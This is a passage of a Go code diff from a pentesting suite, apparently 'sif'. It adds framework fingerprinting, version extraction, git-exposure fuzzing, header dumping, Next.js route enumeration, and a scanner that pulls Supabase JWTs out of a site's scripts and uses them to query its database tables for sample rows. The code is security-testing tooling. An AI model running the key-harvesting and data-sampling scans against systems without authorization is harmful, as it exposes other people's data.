base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// angularDetector detects Angular framework.
type angularDetector struct{}
func (d *angularDetector) Name() string { return "Angular" }
func (d *angularDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "ng-version", Weight: 0.5},
{Pattern: "ng-app", Weight: 0.4},
{Pattern: "ng-controller", Weight: 0.4},
{Pattern: "angular.js", Weight: 0.4},
{Pattern: "angular.min.js", Weight: 0.4},
{Pattern: "ng-binding", Weight: 0.3},
{Pattern: "_nghost", Weight: 0.3},
{Pattern: "_ngcontent", Weight: 0.3},
}
}
func (d *angularDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// svelteDetector detects Svelte framework.
type svelteDetector struct{}
func (d *svelteDetector) Name() string { return "Svelte" }
func (d *svelteDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "svelte", Weight: 0.4},
{Pattern: "__svelte", Weight: 0.5},
{Pattern: "svelte-", Weight: 0.3},
}
}
func (d *svelteDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// emberDetector detects Ember.js framework.
type emberDetector struct{}
func (d *emberDetector) Name() string { return "Ember.js" }
func (d *emberDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "ember", Weight: 0.4},
{Pattern: "ember-cli", Weight: 0.4},
{Pattern: "data-ember", Weight: 0.3},
}
}
func (d *emberDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// backboneDetector detects Backbone.js framework.
type backboneDetector struct{}
func (d *backboneDetector) Name() string { return "Backbone.js" }
func (d *backboneDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "backbone", Weight: 0.4},
{Pattern: "Backbone.", Weight: 0.4},
}
}
func (d *backboneDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// meteorDetector detects Meteor framework.
type meteorDetector struct{}
func (d *meteorDetector) Name() string { return "Meteor" }
func (d *meteorDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "__meteor_runtime_config__", Weight: 0.5},
{Pattern: "meteor", Weight: 0.3},
}
}
func (d *meteorDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
+149
View File
@@ -0,0 +1,149 @@
/*
BSD 3-Clause License
(c) 2022-2025 vmfunc, xyzeva & contributors
*/
package detectors
import (
"net/http"
fw "github.com/dropalldatabases/sif/internal/scan/frameworks"
)
func init() {
// Register all meta-framework detectors
fw.Register(&nextjsDetector{})
fw.Register(&nuxtDetector{})
fw.Register(&sveltekitDetector{})
fw.Register(&gatsbyDetector{})
fw.Register(&remixDetector{})
}
// nextjsDetector detects Next.js framework.
type nextjsDetector struct{}
func (d *nextjsDetector) Name() string { return "Next.js" }
func (d *nextjsDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "__NEXT_DATA__", Weight: 0.5},
{Pattern: "_next/static", Weight: 0.4},
{Pattern: "__next", Weight: 0.3},
{Pattern: "x-nextjs", Weight: 0.3, HeaderOnly: true},
}
}
func (d *nextjsDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// nuxtDetector detects Nuxt.js framework.
type nuxtDetector struct{}
func (d *nuxtDetector) Name() string { return "Nuxt.js" }
func (d *nuxtDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "__NUXT__", Weight: 0.5},
{Pattern: "_nuxt/", Weight: 0.4},
{Pattern: "nuxt", Weight: 0.2},
}
}
func (d *nuxtDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// sveltekitDetector detects SvelteKit framework.
type sveltekitDetector struct{}
func (d *sveltekitDetector) Name() string { return "SvelteKit" }
func (d *sveltekitDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "__sveltekit", Weight: 0.5},
{Pattern: "_app/immutable", Weight: 0.4},
{Pattern: "sveltekit", Weight: 0.3},
}
}
func (d *sveltekitDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// gatsbyDetector detects Gatsby framework.
type gatsbyDetector struct{}
func (d *gatsbyDetector) Name() string { return "Gatsby" }
func (d *gatsbyDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "___gatsby", Weight: 0.5},
{Pattern: "gatsby-", Weight: 0.4},
{Pattern: "page-data.json", Weight: 0.3},
}
}
func (d *gatsbyDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
// remixDetector detects Remix framework.
type remixDetector struct{}
func (d *remixDetector) Name() string { return "Remix" }
func (d *remixDetector) Signatures() []fw.Signature {
return []fw.Signature{
{Pattern: "__remixContext", Weight: 0.5},
{Pattern: "remix", Weight: 0.3},
{Pattern: "_remix", Weight: 0.4},
}
}
func (d *remixDetector) Detect(body string, headers http.Header) (float32, string) {
base := fw.NewBaseDetector(d.Name(), d.Signatures())
score := base.MatchSignatures(body, headers)
confidence := sigmoidConfidence(score)
var version string
if confidence > 0.5 {
version = fw.ExtractVersionOptimized(body, d.Name()).Version
}
return confidence, version
}
+83
View File
@@ -0,0 +1,83 @@
/*
BSD 3-Clause License
(c) 2022-2025 vmfunc, xyzeva & contributors
*/
package frameworks
// FrameworkResult represents the result of framework detection.
type FrameworkResult struct {
Name string `json:"name"`
Version string `json:"version"`
Confidence float32 `json:"confidence"`
VersionConfidence float32 `json:"version_confidence"`
CVEs []string `json:"cves,omitempty"`
Suggestions []string `json:"suggestions,omitempty"`
RiskLevel string `json:"risk_level,omitempty"`
}
// ResultType implements the ScanResult interface.
func (r *FrameworkResult) ResultType() string { return "framework" }
// NewFrameworkResult creates a new FrameworkResult with the given parameters.
func NewFrameworkResult(name, version string, confidence, versionConfidence float32) *FrameworkResult {
return &FrameworkResult{
Name: name,
Version: version,
Confidence: confidence,
VersionConfidence: versionConfidence,
}
}
// WithVulnerabilities adds CVE information to the result.
func (r *FrameworkResult) WithVulnerabilities(cves, suggestions []string) *FrameworkResult {
r.CVEs = cves
r.Suggestions = suggestions
r.RiskLevel = determineRiskLevel(cves)
return r
}
// determineRiskLevel calculates the risk level based on CVE severities.
func determineRiskLevel(cves []string) string {
if len(cves) == 0 {
return "low"
}
for _, cve := range cves {
if containsSeverity(cve, "critical") {
return "critical"
}
}
for _, cve := range cves {
if containsSeverity(cve, "high") {
return "high"
}
}
return "medium"
}
func containsSeverity(cve, severity string) bool {
// Simple substring match for now - could be more sophisticated
for i := 0; i+len(severity) <= len(cve); i++ {
match := true
for j := 0; j < len(severity); j++ {
c := cve[i+j]
// Case-insensitive comparison
if c >= 'A' && c <= 'Z' {
c += 'a' - 'A'
}
if c != severity[j] {
match = false
break
}
}
if match {
return true
}
}
return false
}
+216
View File
@@ -0,0 +1,216 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package frameworks
import (
"regexp"
"unicode"
)
// VersionMatch represents a version detection result with confidence.
type VersionMatch struct {
Version string
Confidence float32
Source string // where the version was found
}
// compiledVersionPattern holds a pre-compiled regex for version extraction
type compiledVersionPattern struct {
re *regexp.Regexp
confidence float32
source string
}
// frameworkVersionPatterns maps framework names to their pre-compiled version patterns.
// Patterns are compiled once at package initialization for optimal performance.
var frameworkVersionPatterns map[string][]compiledVersionPattern
func init() {
// Raw patterns to be compiled
rawPatterns := map[string][]struct {
pattern string
confidence float32
source string
}{
"Laravel": {
{`Laravel\s+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`laravel/framework.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "composer.json"},
},
"Django": {
{`Django[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`django.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "package reference"},
},
"Ruby on Rails": {
{`Rails[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`rails.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "gem reference"},
},
"Express.js": {
{`Express[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"express":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"ASP.NET": {
{`X-AspNet-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.95, "header"},
{`ASP\.NET[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`X-AspNetMvc-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.9, "MVC header"},
},
"ASP.NET Core": {
{`\.NET\s*(\d+\.\d+(?:\.\d+)?)`, 0.8, "dotnet version"},
},
"Spring": {
{`Spring[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`spring-core.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "maven"},
},
"Spring Boot": {
{`spring-boot.*?(\d+\.\d+(?:\.\d+)?)`, 0.9, "maven"},
},
"Flask": {
{`Flask[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`Werkzeug[/\s]+(\d+\.\d+(?:\.\d+)?)`, 0.7, "werkzeug version"},
},
"Next.js": {
{`Next\.js[/\s]+[Vv]?(\d{1,2}\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"next":\s*"[~^]?(\d{1,2}\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"Nuxt.js": {
{`Nuxt[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"nuxt":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"Vue.js": {
{`Vue\.js[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"vue":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
{`vue@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
},
"Angular": {
{`ng-version="(\d+\.\d+(?:\.\d+)?)"`, 0.95, "ng-version attribute"},
{`Angular[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"@angular/core":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"React": {
{`React[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"react":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
{`react@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
},
"Svelte": {
{`Svelte[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"svelte":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"SvelteKit": {
{`"@sveltejs/kit":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"WordPress": {
{`<meta name="generator" content="WordPress (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
{`WordPress (\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Drupal": {
{`Drupal[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`<meta name="Generator" content="Drupal (\d+)`, 0.9, "generator meta"},
},
"Joomla": {
{`Joomla[!/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`<meta name="generator" content="Joomla! - Open Source Content Management - Version (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
},
"Magento": {
{`Magento[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Shopify": {
{`Shopify\.theme.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "theme version"},
},
"Symfony": {
{`Symfony[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"FastAPI": {
{`FastAPI[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Gin": {
{`Gin[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Phoenix": {
{`Phoenix[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Ember.js": {
{`Ember[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Backbone.js": {
{`Backbone[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Meteor": {
{`Meteor[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
"Ghost": {
{`Ghost[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
},
}
// Compile all patterns
frameworkVersionPatterns = make(map[string][]compiledVersionPattern, len(rawPatterns))
for framework, patterns := range rawPatterns {
compiled := make([]compiledVersionPattern, len(patterns))
for i, p := range patterns {
compiled[i] = compiledVersionPattern{
re: regexp.MustCompile(p.pattern),
confidence: p.confidence,
source: p.source,
}
}
frameworkVersionPatterns[framework] = compiled
}
}
// ExtractVersionOptimized extracts version using pre-compiled patterns.
// This is exported for use by individual detector implementations.
func ExtractVersionOptimized(body string, framework string) VersionMatch {
patterns, exists := frameworkVersionPatterns[framework]
if !exists {
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
}
var bestMatch VersionMatch
for _, p := range patterns {
matches := p.re.FindStringSubmatch(body)
if len(matches) > 1 && p.confidence > bestMatch.Confidence {
candidate := matches[1]
if isValidVersionString(candidate) {
bestMatch = VersionMatch{
Version: candidate,
Confidence: p.confidence,
Source: p.source,
}
}
}
}
if bestMatch.Version == "" {
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
}
return bestMatch
}
// isValidVersionString checks if a version string looks like a valid semver
func isValidVersionString(v string) bool {
if len(v) == 0 || len(v) > 20 {
return false
}
dotCount := 0
for _, c := range v {
if c == '.' {
dotCount++
if dotCount > 3 {
return false
}
} else if !unicode.IsDigit(c) {
return false
}
}
return dotCount >= 1
}
+106
View File
@@ -0,0 +1,106 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"bufio"
"fmt"
"net/http"
"os"
"strconv"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
)
const (
gitURL = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/git/"
gitFile = "git.txt"
)
func Git(url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
fmt.Println(styles.Separator.Render("🌿 Starting " + styles.Status.Render("git repository scanning") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "git directory fuzzing"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
gitlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Git 🌿",
}).With("url", url)
gitlog.Infof("Starting repository scanning")
resp, err := http.Get(gitURL + gitFile)
if err != nil {
log.Errorf("Error downloading git list: %s", err)
return nil, err
}
defer resp.Body.Close()
var gitUrls []string
scanner := bufio.NewScanner(resp.Body)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
gitUrls = append(gitUrls, scanner.Text())
}
// util.InitProgressBar()
client := &http.Client{
Timeout: timeout,
}
var wg sync.WaitGroup
wg.Add(threads)
foundUrls := []string{}
for thread := 0; thread < threads; thread++ {
go func(thread int) {
defer wg.Done()
for i, repourl := range gitUrls {
if i%threads != thread {
continue
}
log.Debugf("%s", repourl)
resp, err := client.Get(url + "/" + repourl)
if err != nil {
log.Debugf("Error %s: %s", repourl, err)
}
if resp.StatusCode == 200 && !strings.HasPrefix(resp.Header.Get("Content-Type"), "text/html") {
// log url, directory, and status code
gitlog.Infof("%s git found at [%s]", styles.Status.Render(strconv.Itoa(resp.StatusCode)), styles.Highlight.Render(repourl))
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s git found at [%s]\n", strconv.Itoa(resp.StatusCode), repourl))
}
foundUrls = append(foundUrls, resp.Request.URL.String())
}
}
}(thread)
}
wg.Wait()
return foundUrls, nil
}
+71
View File
@@ -0,0 +1,71 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"fmt"
"net/http"
"os"
"strings"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
)
type HeaderResult struct {
Name string `json:"name"`
Value string `json:"value"`
}
func Headers(url string, timeout time.Duration, logdir string) ([]HeaderResult, error) {
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("HTTP Header Analysis") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "HTTP Header Analysis"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
headerlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Headers 🔍",
}).With("url", url)
client := &http.Client{
Timeout: timeout,
}
resp, err := client.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
var results []HeaderResult
for name, values := range resp.Header {
for _, value := range values {
results = append(results, HeaderResult{Name: name, Value: value})
headerlog.Infof("%s: %s", styles.Highlight.Render(name), value)
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("%s: %s\n", name, value))
}
}
}
return results, nil
}
+79
View File
@@ -0,0 +1,79 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
/*
What we are doing is abusing a internal file in Next.js pages router called
_buildManifest.js which lists all routes and script files ever referenced in
the application within next.js, this allows us to optimise and not bruteforce
directories for routes and instead get all of them at once.
We are currently parsing this js file with regexes but that should ideally be
replaced soon.
*/
package frameworks
import (
"bufio"
"fmt"
"net/http"
"regexp"
"strings"
urlutil "github.com/projectdiscovery/utils/url"
)
// nextPagesRegex matches JavaScript file references in Next.js build manifest.
var nextPagesRegex = regexp.MustCompile(`\[("([^"]+\.js)"(,?))`)
func GetPagesRouterScripts(scriptUrl string) ([]string, error) {
baseUrl, err := urlutil.Parse(scriptUrl)
if err != nil {
return nil, err
}
resp, err := http.Get(scriptUrl)
if err != nil {
fmt.Println(err)
return nil, err
}
defer resp.Body.Close()
var sb strings.Builder
scanner := bufio.NewScanner(resp.Body)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
sb.WriteString(scanner.Text())
}
manifestText := sb.String()
list := nextPagesRegex.FindAllStringSubmatch(manifestText, -1)
var scripts []string
for _, el := range list {
var script = strings.ReplaceAll(el[2], "\\u002F", "/")
url, err := urlutil.Parse(script)
if err != nil {
continue
}
if url.IsRelative {
url.Host = baseUrl.Host
url.Scheme = baseUrl.Scheme
url.Path = "/_next/" + url.Path
}
scripts = append(scripts, url.String())
}
return scripts, nil
}
+139
View File
@@ -0,0 +1,139 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package js
import (
"bufio"
"io"
"net/http"
"os"
"slices"
"strings"
"time"
"github.com/antchfx/htmlquery"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/scan/js/frameworks"
urlutil "github.com/projectdiscovery/utils/url"
)
type JavascriptScanResult struct {
SupabaseResults []supabaseScanResult `json:"supabase_results"`
FoundEnvironmentVars map[string]string `json:"environment_variables"`
}
// ResultType implements the ScanResult interface.
func (r *JavascriptScanResult) ResultType() string { return "js" }
func JavascriptScan(url string, timeout time.Duration, threads int, logdir string) (*JavascriptScanResult, error) {
jslog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "🚧 JavaScript",
}).With("url", url)
baseUrl, err := urlutil.Parse(url)
if err != nil {
return nil, err
}
resp, err := http.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
var sb strings.Builder
scanner := bufio.NewScanner(resp.Body)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
sb.WriteString(scanner.Text())
}
html := sb.String()
doc, err := htmlquery.Parse(strings.NewReader(html))
if err != nil {
return nil, err
}
var scripts []string
nodes, err := htmlquery.QueryAll(doc, "//script/@src")
if err != nil {
return nil, err
}
for _, node := range nodes {
var src = htmlquery.InnerText(node)
url, err := urlutil.Parse(src)
if err != nil {
continue
}
if url.IsRelative {
url.Host = baseUrl.Host
url.Scheme = baseUrl.Scheme
}
scripts = append(scripts, url.String())
}
for _, script := range scripts {
if strings.Contains(script, "/_buildManifest.js") {
jslog.Infof("Detected Next.JS pages router! Getting all scripts from %s", script)
nextScripts, err := frameworks.GetPagesRouterScripts(script)
if err != nil {
return nil, err
}
for _, nextScript := range nextScripts {
if slices.Contains(scripts, nextScript) {
continue
}
scripts = append(scripts, nextScript)
}
}
}
jslog.Infof("Got %d scripts, now running scans on them", len(scripts))
supabaseResults := make([]supabaseScanResult, 0, len(scripts))
for _, script := range scripts {
jslog.Infof("Scanning %s", script)
resp, err := http.Get(script)
if err != nil {
jslog.Warnf("Failed to fetch script: %s", err)
continue
}
bodyBytes, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
resp.Body.Close()
if err != nil {
jslog.Errorf("Failed to read script body: %s", err)
continue
}
content := string(bodyBytes)
jslog.Infof("Running supabase scanner on %s", script)
scriptSupabaseResults, err := ScanSupabase(content, script)
if err != nil {
jslog.Errorf("Error while scanning supabase: %s", err)
}
if scriptSupabaseResults != nil {
supabaseResults = append(supabaseResults, scriptSupabaseResults...)
}
}
result := JavascriptScanResult{
SupabaseResults: supabaseResults,
FoundEnvironmentVars: map[string]string{},
}
return &result, nil
}
+280
View File
@@ -0,0 +1,280 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
// todo: scan for storage and auth vulns
package js
import (
"bytes"
"encoding/base64"
"encoding/json"
"errors"
"io"
"net/http"
"os"
"regexp"
"slices"
"strconv"
"strings"
"time"
"github.com/charmbracelet/log"
)
// jwtRegex matches JWT tokens in JavaScript content.
var jwtRegex = regexp.MustCompile(`["'\x60](ey[A-Za-z0-9_-]{2,}(?:\.[A-Za-z0-9_-]{2,}){2})["'\x60]`)
type supabaseJwtBody struct {
ProjectId *string `json:"ref"`
Role *string `json:"role"`
}
type supabaseScanResult struct {
ProjectId string `json:"project_id"`
ApiKey string `json:"api_key"`
Role string `json:"role"` // note: if this isnt anon its bad
Collections []supabaseCollection `json:"collections"`
}
type supabaseCollection struct {
Name string `json:"name"`
Sample []json.RawMessage `json:"sample"` // raw JSON for deferred parsing
Count int `json:"count"`
}
// supabaseArrayResponse represents a response that is an array with count header.
type supabaseArrayResponse struct {
Array []json.RawMessage
Count int
}
// supabaseAuthResponse represents the auth response from Supabase.
type supabaseAuthResponse struct {
AccessToken string `json:"access_token"`
}
// supabaseOpenAPIResponse represents the OpenAPI spec response.
type supabaseOpenAPIResponse struct {
Paths map[string]json.RawMessage `json:"paths"`
}
// getSupabaseArrayResponse fetches a Supabase endpoint that returns an array.
func getSupabaseArrayResponse(projectId, path, apikey string, auth *string) (*supabaseArrayResponse, error) {
body, resp, err := doSupabaseRequest(projectId, path, apikey, auth)
if err != nil {
return nil, err
}
var arr []json.RawMessage
if err := json.Unmarshal(body, &arr); err != nil {
return nil, err
}
contentRange := resp.Header.Get("Content-Range")
parts := strings.Split(contentRange, "/")
if len(parts) < 2 {
return nil, errors.New("invalid Content-Range header")
}
count, err := strconv.Atoi(parts[1])
if err != nil {
return nil, err
}
return &supabaseArrayResponse{Array: arr, Count: count}, nil
}
// getSupabaseOpenAPI fetches the OpenAPI spec from Supabase.
func getSupabaseOpenAPI(projectId, apikey string, auth *string) (*supabaseOpenAPIResponse, error) {
body, _, err := doSupabaseRequest(projectId, "/rest/v1/", apikey, auth)
if err != nil {
return nil, err
}
var spec supabaseOpenAPIResponse
if err := json.Unmarshal(body, &spec); err != nil {
return nil, err
}
return &spec, nil
}
// doSupabaseRequest performs a GET request to the Supabase API.
func doSupabaseRequest(projectId, path, apikey string, auth *string) ([]byte, *http.Response, error) {
client := http.Client{}
req, err := http.NewRequest("GET", "https://"+projectId+".supabase.co"+path, nil)
if err != nil {
return nil, nil, err
}
log.Debugf("Sending request to %s", req.URL.String())
req.Header.Set("apikey", apikey)
req.Header.Set("Prefer", "count=exact")
if auth != nil {
req.Header.Set("Authorization", "Bearer "+*auth)
}
resp, err := client.Do(req)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
if resp.StatusCode != 200 {
return nil, nil, errors.New("request to " + resp.Request.URL.String() + " failed with status code " + strconv.Itoa(resp.StatusCode))
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
if err != nil {
return nil, nil, err
}
return body, resp, nil
}
